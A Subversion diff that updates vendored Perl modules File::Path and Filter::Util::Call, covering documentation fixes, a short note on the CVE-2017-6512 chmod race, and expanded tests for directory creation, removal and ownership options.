+identical to C<remove_tree()>.
 
+B<NOTE:>  For security reasons, we strongly advise use of the
+hashref-as-final-argument syntax, specifically with a setting of the C<safe>
+element to a true value.
+
+    rmtree( $dir1, $dir2, ....,
+        {
+            safe => 1,
+            ...         # other key-value pairs
+        },
+    );
+
 =back
 
 =head2 ERROR HANDLING
@@ -813,9 +895,9 @@
 
 =back
 
-If C<make_path> or C<remove_tree> encounter an error, a diagnostic
+If C<make_path> or C<remove_tree> encounters an error, a diagnostic
 message will be printed to C<STDERR> via C<carp> (for non-fatal
-errors), or via C<croak> (for fatal errors).
+errors) or via C<croak> (for fatal errors).
 
 If this behaviour is not desirable, the C<error> attribute may be
 used to hold a reference to a variable, which will be used to store
@@ -828,7 +910,7 @@
 An example usage looks like:
 
   remove_tree( 'foo/bar', 'bar/rat', {error => \my $err} );
-  if (@$err) {
+  if ($err && @$err) {
       for my $diag (@$err) {
           my ($file, $message) = %$diag;
           if ($file eq '') {
@@ -882,7 +964,7 @@
 
 =head3 SECURITY CONSIDERATIONS
 
-There were race conditions 1.x implementations of File::Path's
+There were race conditions in the 1.x implementations of File::Path's
 C<rmtree> function (although sometimes patched depending on the OS
 distribution or platform). The 2.0 version contains code to avoid the
 problem mentioned in CVE-2002-0435.
@@ -889,9 +971,9 @@
 
 See the following pages for more information:
 
-  http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=286905
-  http://www.nntp.perl.org/group/perl.perl5.porters/2005/01/msg97623.html
-  http://www.debian.org/security/2005/dsa-696
+    http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=286905
+    http://www.nntp.perl.org/group/perl.perl5.porters/2005/01/msg97623.html
+    http://www.debian.org/security/2005/dsa-696
 
 Additionally, unless the C<safe> parameter is set (or the
 third parameter in the traditional interface is TRUE), should a
@@ -899,6 +981,27 @@
 mode may now have their permissions set to a read-write (or "delete
 OK") mode.
 
+The following CVE reports were previously filed against File-Path and are
+believed to have been addressed:
+
+=over 4
+
+=item * L<http://cve.circl.lu/cve/CVE-2004-0452>
+
+=item * L<http://cve.circl.lu/cve/CVE-2005-0448>
+
+=back
+
+In February 2017 the cPanel Security Team reported an additional vulnerability
+in File-Path.  The C<chmod()> logic to make directories traversable can be
+abused to set the mode on an attacker-chosen file to an attacker-chosen value.
+This is due to the time-of-check-to-time-of-use (TOCTTOU) race condition
+(L<https://en.wikipedia.org/wiki/Time_of_check_to_time_of_use>) between the
+C<stat()> that decides the inode is a directory and the C<chmod()> that tries
+to make it user-rwx.  CPAN versions 2.13 and later incorporate a patch
+provided by John Lightsey to address this problem.  This vulnerability has
+been reported as CVE-2017-6512.
+
 =head1 DIAGNOSTICS
 
 FATAL errors will cause the program to halt (C<croak>), since the
@@ -907,7 +1010,7 @@
 the circumstances, dying is the best thing to do).
 
 SEVERE errors may be trapped using the modern interface. If the
-they are not trapped, or the old interface is used, such an error
+they are not trapped, or if the old interface is used, such an error
 will cause the program will halt.
 
 All other errors may be trapped using the modern interface, otherwise
@@ -918,7 +1021,7 @@
 =item mkdir [path]: [errmsg] (SEVERE)
 
 C<make_path> was unable to create the path. Probably some sort of
-permissions error at the point of departure, or insufficient resources
+permissions error at the point of departure or insufficient resources
 (such as free inodes on Unix).
 
 =item No root path(s) specified
@@ -997,7 +1100,7 @@
 
 =item cannot stat prior working directory [dir]: [errmsg], aborting. (FATAL)
 
-C<remove_tree> was unable to stat the parent directory after have returned
+C<remove_tree> was unable to stat the parent directory after having returned
 from the child. Since there is no way of knowing if we returned to
 where we think we should be (by comparing device and inode) the only
 way out is to C<croak>.
@@ -1017,9 +1120,9 @@
 
 =item cannot remove directory [dir]: [errmsg]
 
-C<remove_tree> attempted to remove a directory, but failed. This may because
+C<remove_tree> attempted to remove a directory, but failed. This may be because
 some objects that were unable to be removed remain in the directory, or
-a permissions issue. The directory will be left behind.
+it could be a permissions issue. The directory will be left behind.
 
 =item cannot restore permissions of [dir] to [0nnn]: [errmsg]
 
@@ -1087,14 +1190,16 @@
 
 The following describes F<File::Path> limitations and how to report bugs.
 
-=head2 MULTITHREAD APPLICATIONS
+=head2 MULTITHREADED APPLICATIONS
 
-F<File::Path> B<rmtree> and B<remove_tree> will not work with multithreaded
-applications due to its use of B<chdir>.  At this time, no warning or error
-results and you will certainly encounter unexpected results.
+F<File::Path> C<rmtree> and C<remove_tree> will not work with
+multithreaded applications due to its use of C<chdir>.  At this time,
+no warning or error is generated in this situation.  You will
+certainly encounter unexpected results.
 
-The implementation that surfaces this limitation may change in a future
-release.
+The implementation that surfaces this limitation will not be changed. See the
+F<File::Path::Tiny> module for functionality similar to F<File::Path> but which does
+not C<chdir>.
 
 =head2 NFS Mount Points
 
@@ -1141,14 +1246,22 @@
 
 =head1 CONTRIBUTORS
 
-Contributors to File::Path, in alphabetical order.
+Contributors to File::Path, in alphabetical order by first name.
 
 =over 1
 
 =item <F<bulkdd at cpan.org>>
 
+=item Charlie Gonzalez <F<itcharlie at cpan.org>>
+
 =item Craig A. Berry <F<craigberry at mac.com>>
 
+=item James E Keenan <F<jkeenan at cpan.org>>
+
+=item John Lightsey <F<john at perlsec.org>>
+
+=item Nigel Horne <F<njh at bandsman.co.uk>>
+
 =item Richard Elberger <F<riche at cpan.org>>
 
 =item Ryan Yee <F<ryee at cpan.org>>
@@ -1157,12 +1270,14 @@
 
 =item Tom Lutz <F<tommylutz at gmail.com>>
 
+=item Will Sheppard <F<willsheppard at github>>
+
 =back
 
 =head1 COPYRIGHT
 
 This module is copyright (C) Charles Bailey, Tim Bunce, David Landgren,
-James Keenan, and Richard Elberger 1995-2015. All rights reserved.
+James Keenan and Richard Elberger 1995-2017. All rights reserved.
 
 =head1 LICENSE
 

Modified: vendor/perl/dist/cpan/File-Path/t/FilePathTest.pm
===================================================================
--- vendor/perl/dist/cpan/File-Path/t/FilePathTest.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/File-Path/t/FilePathTest.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,18 +3,26 @@
 use warnings;
 use base 'Exporter';
 use SelectSaver;
+use Carp;
 use Cwd;
 use File::Spec::Functions;
+use File::Path ();
+use Test::More ();
 
-our @EXPORT = qw(_run_for_warning _run_for_verbose _basedir
-                 _cannot_delete_safe_mode
-                 _verbose_expected);
+our @EXPORT_OK = qw(
+    _run_for_warning
+    _run_for_verbose
+    _cannot_delete_safe_mode
+    _verbose_expected
+    create_3_level_subdirs
+    cleanup_3_level_subdirs
+);
 
 sub _basedir {
-  return catdir( curdir(),
-                 sprintf( 'test-%x-%x-%x', time, $$, rand(99999) ),
+  return catdir(
+      curdir(),
+      sprintf( 'test-%x-%x-%x', time, $$, rand(99999) ),
   );
-
 }
 
 sub _run_for_warning {
@@ -109,4 +117,28 @@
   }
 }
 
+sub create_3_level_subdirs {
+    my @dirnames = @_;
+    my %seen = map {$_ => 1} @dirnames;
+    croak "Need 3 distinct names for subdirectories"
+        unless scalar(keys %seen) == 3;
+    my $tdir = File::Spec::Functions::tmpdir();
+    my $least_deep      = catdir($tdir, $dirnames[0]);
+    my $next_deepest    = catdir($least_deep, $dirnames[1]);
+    my $deepest         = catdir($next_deepest, $dirnames[2]);
+    return ($least_deep, $next_deepest, $deepest);
+}
+
+sub cleanup_3_level_subdirs {
+    # runs 2 tests
+    my $least_deep = shift;
+    croak "Must provide path of least subdirectory"
+        unless (length($least_deep) and (-d $least_deep));
+    my $x;
+    my $opts = { error => \$x };
+    File::Path::remove_tree($least_deep, $opts);
+    Test::More::ok(! -d $least_deep, "directory '$least_deep' removed, as expected");
+    Test::More::is(scalar(@{$x}), 0, "no error messages using remove_tree() with \$opts");
+}
+
 1;

Modified: vendor/perl/dist/cpan/File-Path/t/Path.t
===================================================================
--- vendor/perl/dist/cpan/File-Path/t/Path.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/File-Path/t/Path.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,11 +3,20 @@
 
 use strict;
 
-use Test::More tests => 127;
+use Test::More tests => 165;
 use Config;
 use Fcntl ':mode';
-use lib 't/';
-use FilePathTest;
+use lib './t';
+use FilePathTest qw(
+    _run_for_warning
+    _run_for_verbose
+    _cannot_delete_safe_mode
+    _verbose_expected
+    create_3_level_subdirs
+    cleanup_3_level_subdirs
+);
+use Errno qw(:POSIX);
+use Carp;
 
 BEGIN {
     use_ok('Cwd');
@@ -17,6 +26,13 @@
 
 my $Is_VMS = $^O eq 'VMS';
 
+my $fchmod_supported = 0;
+if (open my $fh, curdir()) {
+    my ($perm) = (stat($fh))[2];
+    $perm &= 07777;
+    eval { $fchmod_supported = chmod( $perm, $fh); };
+}
+
 # first check for stupid permissions second for full, so we clean up
 # behind ourselves
 for my $perm (0111,0777) {
@@ -298,16 +314,19 @@
 
 is(rmtree($dir, 0, undef), 1, "removed directory 3 verbose undef");
 
-$dir = catdir($tmp_base,'G');
-$dir = VMS::Filespec::unixify($dir) if $Is_VMS;
+SKIP: {
+    skip "fchmod of directories not supported on this platform", 3 unless $fchmod_supported;
+    $dir = catdir($tmp_base,'G');
+    $dir = VMS::Filespec::unixify($dir) if $Is_VMS;
 
- at created = mkpath($dir, undef, 0200);
+    @created = mkpath($dir, undef, 0400);
 
-is(scalar(@created), 1, "created write-only dir");
+    is(scalar(@created), 1, "created read-only dir");
 
-is($created[0], $dir, "created write-only directory cross-check");
+    is($created[0], $dir, "created read-only directory cross-check");
 
-is(rmtree($dir), 1, "removed write-only dir");
+    is(rmtree($dir), 1, "removed read-only dir");
+}
 
 # borderline new-style heuristics
 if (chdir $tmp_base) {
@@ -449,26 +468,28 @@
 }
 
 SKIP : {
-    my $skip_count = 19;
+    my $skip_count = 18;
     # this test will fail on Windows, as per:
     #   http://perldoc.perl.org/perlport.html#chmod
 
     skip "Windows chmod test skipped", $skip_count
         if $^O eq 'MSWin32';
+    skip "fchmod() on directories is not supported on this platform", $skip_count
+        unless $fchmod_supported;
     my $mode;
     my $octal_mode;
     my @inputs = (
-      0777, 0700, 0070, 0007,
-      0333, 0300, 0030, 0003,
-      0111, 0100, 0010, 0001,
-      0731, 0713, 0317, 0371, 0173, 0137,
-      00 );
+      0777, 0700, 0470, 0407,
+      0433, 0400, 0430, 0403,
+      0111, 0100, 0110, 0101,
+      0731, 0713, 0317, 0371,
+      0173, 0137);
     my $input;
     my $octal_input;
-    $dir = catdir($tmp_base, 'chmod_test');
 
     foreach (@inputs) {
         $input = $_;
+        $dir = catdir($tmp_base, sprintf("chmod_test%04o", $input));
         # We can skip from here because 0 is last in the list.
         skip "Mode of 0 means assume user defaults on VMS", 1
           if ($input == 0 && $Is_VMS);
@@ -476,7 +497,11 @@
         $mode = (stat($dir))[2];
         $octal_mode = S_IMODE($mode);
         $octal_input = sprintf "%04o", S_IMODE($input);
-        is($octal_mode,$input, "create a new directory with chmod $input ($octal_input)");
+        SKIP: {
+	    skip "permissions are not fully supported by the filesystem", 1
+                if (($^O eq 'MSWin32' || $^O eq 'cygwin') && ((Win32::FsType())[1] & 8) == 0);
+            is($octal_mode,$input, "create a new directory with chmod $input ($octal_input)");
+	    }
         rmtree( $dir );
     }
 }
@@ -587,29 +612,27 @@
     my $dir2 = catdir( $base, 'B');
 
     {
-        my $warn;
-        $SIG{__WARN__} = sub { $warn = shift };
-
-        my @created = make_path(
-            $dir,
-            $dir2,
-            { mode => 0711, foo => 1, bar => 1 }
-        );
+        my $warn = _run_for_warning( sub {
+            my @created = make_path(
+                $dir,
+                $dir2,
+                { mode => 0711, foo => 1, bar => 1 }
+            );
+        } );
         like($warn,
-            qr/Unrecognized option\(s\) passed to make_path\(\):.*?bar.*?foo/,
+            qr/Unrecognized option\(s\) passed to mkpath\(\) or make_path\(\):.*?bar.*?foo/,
             'make_path with final hashref warned due to unrecognized options'
         );
     }
 
     {
-        my $warn;
-        $SIG{__WARN__} = sub { $warn = shift };
-
-        my @created = remove_tree(
-            $dir,
-            $dir2,
-            { foo => 1, bar => 1 }
-        );
+        my $warn = _run_for_warning( sub {
+            my @created = remove_tree(
+                $dir,
+                $dir2,
+                { foo => 1, bar => 1 }
+            );
+        } );
         like($warn,
             qr/Unrecognized option\(s\) passed to remove_tree\(\):.*?bar.*?foo/,
             'remove_tree with final hashref failed due to unrecognized options'
@@ -656,7 +679,7 @@
 {
     my ($x, $message, $object, $expect, $rv, $arg, $error);
     my ($k, $v, $second_error, $third_error);
-    local $! = 2;
+    local $! = ENOENT;
     $x = $!;
 
     $message = 'message in a bottle';
@@ -729,3 +752,186 @@
     is($k, '', "key of hash is empty string, since 3rd arg was undef");
     is($v, $expect, "value of hash is 2nd arg: $message");
 }
+
+{
+    # https://rt.cpan.org/Ticket/Display.html?id=117019
+    # remove_tree(): Permit re-use of options hash without issuing a warning
+
+    my ($least_deep, $next_deepest, $deepest) =
+        create_3_level_subdirs( qw| ZoYhvc6RmGnl S2CrQ0lju0o7 lvOqVYWpfhcP | );
+    my @created;
+    @created = File::Path::make_path($deepest, { mode => 0711 });
+    is(scalar(@created), 3, "Created 3 subdirectories");
+
+    my $x = '';
+    my $opts = { error => \$x };
+    File::Path::remove_tree($deepest, $opts);
+    ok(! -d $deepest, "directory '$deepest' removed, as expected");
+
+    my $warn;
+    $warn = _run_for_warning( sub { File::Path::remove_tree($next_deepest, $opts); } );
+    ok(! $warn, "CPAN 117019: No warning thrown when re-using \$opts");
+    ok(! -d $next_deepest, "directory '$next_deepest' removed, as expected");
+
+    $warn = _run_for_warning( sub { File::Path::remove_tree($least_deep, $opts); } );
+    ok(! $warn, "CPAN 117019: No warning thrown when re-using \$opts");
+    ok(! -d $least_deep, "directory '$least_deep' removed, as expected");
+}
+
+{
+    # Corner cases with respect to arguments provided to functions
+    my $count;
+
+    $count = remove_tree();
+    is($count, 0,
+        "If not provided with any paths, remove_tree() will return a count of 0 things deleted");
+
+    $count = remove_tree('');
+    is($count, 0,
+        "If not provided with any paths, remove_tree() will return a count of 0 things deleted");
+
+    my $warn;
+    $warn = _run_for_warning( sub { $count = rmtree(); } );
+    like($warn, qr/No root path\(s\) specified/s, "Got expected carp");
+    is($count, 0,
+        "If not provided with any paths, remove_tree() will return a count of 0 things deleted");
+
+    $warn = _run_for_warning( sub {$count = rmtree(undef); } );
+    like($warn, qr/No root path\(s\) specified/s, "Got expected carp");
+    is($count, 0,
+        "If provided only with an undefined value, remove_tree() will return a count of 0 things deleted");
+
+    $warn = _run_for_warning( sub {$count = rmtree(''); } );
+    like($warn, qr/No root path\(s\) specified/s, "Got expected carp");
+    is($count, 0,
+        "If provided with an empty string for a path, remove_tree() will return a count of 0 things deleted");
+
+    $count = make_path();
+    is($count, 0,
+        "If not provided with any paths, make_path() will return a count of 0 things created");
+
+    $count = mkpath();
+    is($count, 0,
+        "If not provided with any paths, make_path() will return a count of 0 things created");
+}
+
+SKIP: {
+    my $skip_count = 3;
+    skip "Windows will not set this error condition", $skip_count
+        if $^O eq 'MSWin32';
+
+    # mkpath() with hashref:  case of phony user
+    my ($least_deep, $next_deepest, $deepest) =
+        create_3_level_subdirs( qw| Hhu1KpF4EVAV vUj5k37bih8v Vkdw02POXJxj | );
+    my (@created, $error);
+    my $user = join('_' => 'foobar', $$);
+    @created = mkpath($deepest, { mode => 0711, user => $user, error => \$error });
+#    TODO: {
+#        local $TODO = "Notwithstanding the phony 'user', mkpath will actually create subdirectories; should it?";
+#        is(scalar(@created), 0, "No subdirectories created");
+#    }
+    is(scalar(@$error), 1, "caught error condition" );
+    my ($file, $message) = each %{$error->[0]};
+    like($message,
+        qr/unable to map $user to a uid, ownership not changed/s,
+        "Got expected error message for phony user",
+    );
+
+    cleanup_3_level_subdirs($least_deep);
+}
+
+{
+    # mkpath() with hashref:  case of valid uid
+    my ($least_deep, $next_deepest, $deepest) =
+        create_3_level_subdirs( qw| b5wj8CJcc7gl XTJe2C3WGLg5 VZ_y2T0XfKu3 | );
+    my (@created, $error);
+    @created = mkpath($deepest, { mode => 0711, uid => $>, error => \$error });
+    is(scalar(@created), 3, "Provide valid 'uid' argument: 3 subdirectories created");
+
+    cleanup_3_level_subdirs($least_deep);
+}
+
+SKIP: {
+    my $skip_count = 3;
+    skip "getpwuid() and getgrgid() not implemented on Windows", $skip_count
+        if $^O eq 'MSWin32';
+
+    # mkpath() with hashref:  case of valid owner
+    my ($least_deep, $next_deepest, $deepest) =
+        create_3_level_subdirs( qw| aiJEDKaAEH25 nqhXsBM_7_bv qfRj4cur4Jrs | );
+    my (@created, $error);
+    my $name = getpwuid($>);
+    @created = mkpath($deepest, { mode => 0711, owner => $name, error => \$error });
+    is(scalar(@created), 3, "Provide valid 'owner' argument: 3 subdirectories created");
+
+    cleanup_3_level_subdirs($least_deep);
+}
+
+SKIP: {
+    my $skip_count = 5;
+    skip "Windows will not set this error condition", $skip_count
+        if $^O eq 'MSWin32';
+
+    # mkpath() with hashref:  case of phony group
+    my ($least_deep, $next_deepest, $deepest) =
+        create_3_level_subdirs( qw| nOR4lGRMdLvz NnwkEHEVL5li _3f1Kv6q77yA | );
+    my (@created, $error);
+    my $bad_group = join('_' => 'foobarbaz', $$);
+    @created = mkpath($deepest, { mode => 0711, group => $bad_group, error => \$error });
+#    TODO: {
+#        local $TODO = "Notwithstanding the phony 'group', mkpath will actually create subdirectories; should it?";
+#        is(scalar(@created), 0, "No subdirectories created");
+#    }
+    is(scalar(@$error), 1, "caught error condition" );
+    my ($file, $message) = each %{$error->[0]};
+    like($message,
+        qr/unable to map $bad_group to a gid, group ownership not changed/s,
+        "Got expected error message for phony user",
+    );
+
+    cleanup_3_level_subdirs($least_deep);
+}
+
+{
+    # mkpath() with hashref:  case of valid group
+    my ($least_deep, $next_deepest, $deepest) =
+        create_3_level_subdirs( qw| BEcigvaBNisY rd4lJ1iZRyeS OyQnDPIBxP2K | );
+    my (@created, $error);
+    @created = mkpath($deepest, { mode => 0711, group => $(, error => \$error });
+    is(scalar(@created), 3, "Provide valid 'group' argument: 3 subdirectories created");
+
+    cleanup_3_level_subdirs($least_deep);
+}
+
+SKIP: {
+    my $skip_count = 3;
+    skip "getpwuid() and getgrgid() not implemented on Windows", $skip_count
+        if $^O eq 'MSWin32';
+
+    # mkpath() with hashref:  case of valid group
+    my ($least_deep, $next_deepest, $deepest) =
+        create_3_level_subdirs( qw| IayhWFDvys8X gTd6gaeuFzmV VVI6UWLJCOEC | );
+    my (@created, $error);
+    my $group_name = (getgrgid($())[0];
+    @created = mkpath($deepest, { mode => 0711, group => $group_name, error => \$error });
+    is(scalar(@created), 3, "Provide valid 'group' argument: 3 subdirectories created");
+
+    cleanup_3_level_subdirs($least_deep);
+}
+
+SKIP: {
+    my $skip_count = 3;
+    skip "getpwuid() and getgrgid() not implemented on Windows", $skip_count
+        if $^O eq 'MSWin32';
+
+    # mkpath() with hashref:  case of valid owner and group
+    my ($least_deep, $next_deepest, $deepest) =
+        create_3_level_subdirs( qw| xsmOvlnxOqJc olsGlBSoVUpp tDuRilkD35rd | );
+    my (@created, $error);
+    my $name = getpwuid($>);
+    my $group_name = (getgrgid($())[0];
+    @created = mkpath($deepest, { mode => 0711, owner => $name, group => $group_name, error => \$error });
+    is(scalar(@created), 3, "Provide valid 'owner' and 'group' 'group' arguments: 3 subdirectories created");
+
+    cleanup_3_level_subdirs($least_deep);
+}

Modified: vendor/perl/dist/cpan/File-Path/t/Path_root.t
===================================================================
--- vendor/perl/dist/cpan/File-Path/t/Path_root.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/File-Path/t/Path_root.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,8 +1,10 @@
 use strict;
 use Test::More;
 use Config;
-use lib 't/';
-use FilePathTest;
+use lib './t';
+use FilePathTest qw(
+    _run_for_warning
+);
 use File::Path qw(rmtree mkpath make_path remove_tree);
 use File::Spec::Functions;
 
@@ -9,7 +11,7 @@
 
 my $prereq = prereq();
 plan skip_all  => $prereq if defined $prereq;
-plan tests     => 8;
+plan tests     => 11;
 
 my $pwent = max_u();
 my $grent = max_g();
@@ -60,23 +62,37 @@
 is($dir_uid, $max_uid, "... owned by $max_uid");
 is($dir_gid, $max_gid, "... owned by group $max_gid");
 
-SKIP: {
-  skip('Skip until RT 85878 is fixed', 1);
+{
   # invent a user and group that don't exist
   do { ++$max_user  } while ( getpwnam( $max_user ) );
   do { ++$max_group } while ( getgrnam( $max_group ) );
 
   $dir = catdir($dir_stem, 'aad');
-  my $rv = _run_for_warning( sub { make_path( $dir,
-                                              { user => $max_user,
-                                                group => $max_group } ) } );
+  my $rv = _run_for_warning( sub {
+      make_path(
+          $dir,
+          { user => $max_user, group => $max_group }
+      )
+  } );
   like( $rv,
-        qr{\Aunable to map $max_user to a uid, ownership not changed: .* at \S+ line \d+
-unable to map $max_group to a gid, group ownership not changed: .* at \S+ line \d+\b},
-        "created a directory not owned by $max_user:$max_group..."
-      );
+    qr{unable to map $max_user to a uid, ownership not changed:}s,
+    "created a directory not owned by $max_user:$max_group...",
+  );
+  like( $rv,
+    qr{unable to map $max_group to a gid, group ownership not changed:}s,
+    "created a directory not owned by $max_user:$max_group...",
+  );
 }
 
+{
+    # cleanup
+    my $x;
+    my $opts = { error => \$x };
+    remove_tree($tmp_base, $opts);
+    ok(! -d $tmp_base, "directory '$tmp_base' removed, as expected");
+    is(scalar(@{$x}), 0, "no error messages using remove_tree() with \$opts");
+}
+
 sub max_u {
   # find the highest uid ('nobody' or similar)
   my $max_uid   = 0;

Modified: vendor/perl/dist/cpan/File-Path/t/Path_win32.t
===================================================================
--- vendor/perl/dist/cpan/File-Path/t/Path_win32.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/File-Path/t/Path_win32.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,16 +1,20 @@
 use strict;
 use Test::More;
-use lib 't/';
-use FilePathTest;
+use lib './t';
+use FilePathTest qw(
+    create_3_level_subdirs
+    cleanup_3_level_subdirs
+);
 use File::Path;
 use Cwd;
 use File::Spec::Functions;
+use Carp;
 
 plan skip_all  => 'not win32' unless $^O eq 'MSWin32';
 my ($ignore, $major, $minor, $build, $id) = Win32::GetOSVersion();
 plan skip_all  => "WinXP or later"
      unless $id >= 2 && ($major > 5 || $major == 5 && $minor >= 1);
-plan tests     => 3;
+plan tests     => 9;
 
 my $tmp_base = catdir(
     curdir(),
@@ -30,3 +34,29 @@
 my $removed = rmtree($UNC_path);
 
 cmp_ok($removed, '>', 0, "removed $removed entries from $UNC_path");
+
+{
+    my ($least_deep, $next_deepest, $deepest) =
+        create_3_level_subdirs( qw| IsVFFJfJ03Rk jD7ToWQFmcjm hMZR6S1qNSf5 | );
+    my (@created, $error);
+    my $user = join('_' => 'foobar', $$);
+    {
+        my $warn;
+        $SIG{__WARN__} = sub { $warn = shift };
+
+        @created = mkpath($deepest, { mode => 0711, user => $user, error => \$error });
+        like($warn,
+            qr/Option\(s\) implausible on Win32 passed to mkpath\(\) or make_path\(\)/,
+            'make_path with final hashref warned due to options implausible on Win32'
+        );
+        TODO: {
+            local $TODO = "Notwithstanding the Win32-implausible 'user', mkpath will actually create subdirectories; should it?";
+            is(scalar(@created), 0, "No subdirectories created");
+        }
+        is(scalar(@created), 3, "3 subdirectories created");
+        is(scalar(@$error), 0, "no error condition" );
+    }
+
+    cleanup_3_level_subdirs($least_deep);
+}
+

Modified: vendor/perl/dist/cpan/Filter-Util-Call/Call.pm
===================================================================
--- vendor/perl/dist/cpan/Filter-Util-Call/Call.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Filter-Util-Call/Call.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,6 +2,7 @@
 #
 # Copyright (c) 1995-2011 Paul Marquess. All rights reserved.
 # Copyright (c) 2011-2014 Reini Urban. All rights reserved.
+# Copyright (c) 2014-2017 cPanel Inc. All rights reserved.
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the same terms as Perl itself.
@@ -8,17 +9,18 @@
  
 package Filter::Util::Call ;
 
-require 5.005 ;
-require DynaLoader;
+require 5.006 ; # our
 require Exporter;
-use Carp ;
+
+use XSLoader ();
 use strict;
 use warnings;
-use vars qw($VERSION @ISA @EXPORT) ;
 
- at ISA = qw(Exporter DynaLoader);
- at EXPORT = qw( filter_add filter_del filter_read filter_read_exact) ;
-$VERSION = "1.55" ;
+our @ISA = qw(Exporter);
+our @EXPORT = qw( filter_add filter_del filter_read filter_read_exact) ;
+our $VERSION = "1.58" ;
+our $XS_VERSION = $VERSION;
+$VERSION = eval $VERSION;
 
 sub filter_read_exact($)
 {
@@ -26,8 +28,10 @@
     my ($left)   = $size ;
     my ($status) ;
 
-    croak ("filter_read_exact: size parameter must be > 0")
-	unless $size > 0 ;
+    unless ( $size > 0 ) {
+        require Carp;
+        Carp::croak("filter_read_exact: size parameter must be > 0");
+    }
 
     # try to read a block which is exactly $size bytes long
     while ($left and ($status = filter_read($left)) > 0) {
@@ -56,7 +60,7 @@
     Filter::Util::Call::real_import($obj, (caller)[0], $coderef) ;
 }
 
-bootstrap Filter::Util::Call ;
+XSLoader::load('Filter::Util::Call');
 
 1;
 __END__
@@ -525,6 +529,7 @@
 
 Copyright (c) 1995-2011 Paul Marquess. All rights reserved.
 Copyright (c) 2011-2014 Reini Urban. All rights reserved.
+Copyright (c) 2014-2017 cPanel Inc. All rights reserved.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Filter-Util-Call/Call.xs
===================================================================
--- vendor/perl/dist/cpan/Filter-Util-Call/Call.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Filter-Util-Call/Call.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
  * 
  * Author   : Paul Marquess 
  * Date     : 2014-12-09 02:48:44 rurban
- * Version  : 1.55
+ * Version  : 1.58
  *
  *    Copyright (c) 1995-2011 Paul Marquess. All rights reserved.
  *    Copyright (c) 2011-2014 Reini Urban. All rights reserved.

Modified: vendor/perl/dist/cpan/Filter-Util-Call/filter-util.pl
===================================================================
--- vendor/perl/dist/cpan/Filter-Util-Call/filter-util.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Filter-Util-Call/filter-util.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -30,7 +30,7 @@
 
 sub ok
 {
-    my($number, $result, $note) = @_ ;
+    my ($number, $result, $note) = @_ ;
  
     $note = "" if ! defined $note ;
     if ($note) {
@@ -40,11 +40,17 @@
 
     print "not " if !$result ;
     print "ok ${number}${note}\n";
+    return $result;
 }
 
+sub diag {
+    print STDERR 
+      (map { /^#/ ? "$_\n" : "# $_\n" }
+       map { split /\n/ } @_);
+}
+
 $Inc = '' ;
-foreach (@INC)
- { $Inc .= "\"-I$_\" " }
+foreach (@INC) { $Inc .= "\"-I$_\" " }
 $Inc = "-I::lib" if $^O eq 'MacOS';
 
 $Perl = '' ;

Modified: vendor/perl/dist/cpan/Filter-Util-Call/t/call.t
===================================================================
--- vendor/perl/dist/cpan/Filter-Util-Call/t/call.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Filter-Util-Call/t/call.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,12 +1,12 @@
+use Config;
 BEGIN {
-    if ($ENV{PERL_CORE}){
-        require Config; import Config;
-        %Config=%Config if 0; # cease -w
+    if ($ENV{PERL_CORE}) {
         if ($Config{'extensions'} !~ m{\bFilter/Util/Call\b}) {
             print "1..0 # Skip: Filter::Util::Call was not built\n";
             exit 0;
         }
     }
+    unshift @INC, 't';
     require 'filter-util.pl';
 }
 
@@ -15,17 +15,17 @@
 
 use vars qw($Inc $Perl);
 
-print "1..32\n" ;
+print "1..34\n";
 
-$Perl = "$Perl -w" ;
+$Perl = "$Perl -w";
 
 use Cwd ;
 my $here = getcwd ;
 
 
-my $filename = "call.tst" ;
-my $filename2 = "call2.tst" ;
-my $filenamebin = "call.bin" ;
+my $filename = "call$$.tst" ;
+my $filename2 = "call2$$.tst" ;
+my $filenamebin = "call$$.bin" ;
 my $module   = "MyTest" ;
 my $module2  = "MyTest2" ;
 my $module3  = "MyTest3" ;
@@ -39,7 +39,7 @@
 # Test error cases
 ##################
 
-# no filter function in module 
+# no filter function in module
 ###############################
 
 writeFile("${module}.pm", <<EOM) ;
@@ -46,37 +46,50 @@
 package ${module} ;
 
 use Filter::Util::Call ;
- 
+
 sub import { filter_add(bless []) }
 
 1 ;
 EOM
- 
+
 my $a = `$Perl "-I." $Inc -e "use ${module} ;"  $redir` ;
 ok(1, (($? >>8) != 0 or (($^O eq 'MSWin32' || $^O eq 'MacOS' || $^O eq 'NetWare' || $^O eq 'mpeix') && $? != 0))) ;
 ok(2, $a =~ /^Can't locate object method "filter" via package "MyTest"/m) ;
- 
+
 # no reference parameter in filter_add
 ######################################
 
 writeFile("${module}.pm", <<EOM) ;
 package ${module} ;
- 
+
 use Filter::Util::Call ;
- 
+
 sub import { filter_add() }
- 
+
 1 ;
 EOM
- 
+
 $a = `$Perl "-I." $Inc -e "use ${module} ;"  $redir` ;
-ok(3, (($? >>8) != 0 or (($^O eq 'MSWin32' || $^O eq 'MacOS' || $^O eq 'NetWare' || $^O eq 'mpeix') && $? != 0))) ;
+#warn "# $a\n";
+ok(3, (($? >>8) != 0
+       or (($^O eq 'MSWin32' || $^O eq 'MacOS' || $^O eq 'NetWare' || $^O eq 'mpeix')
+           && $? != 0))) ;
 #ok(4, $a =~ /^usage: filter_add\(ref\) at ${module}.pm/) ;
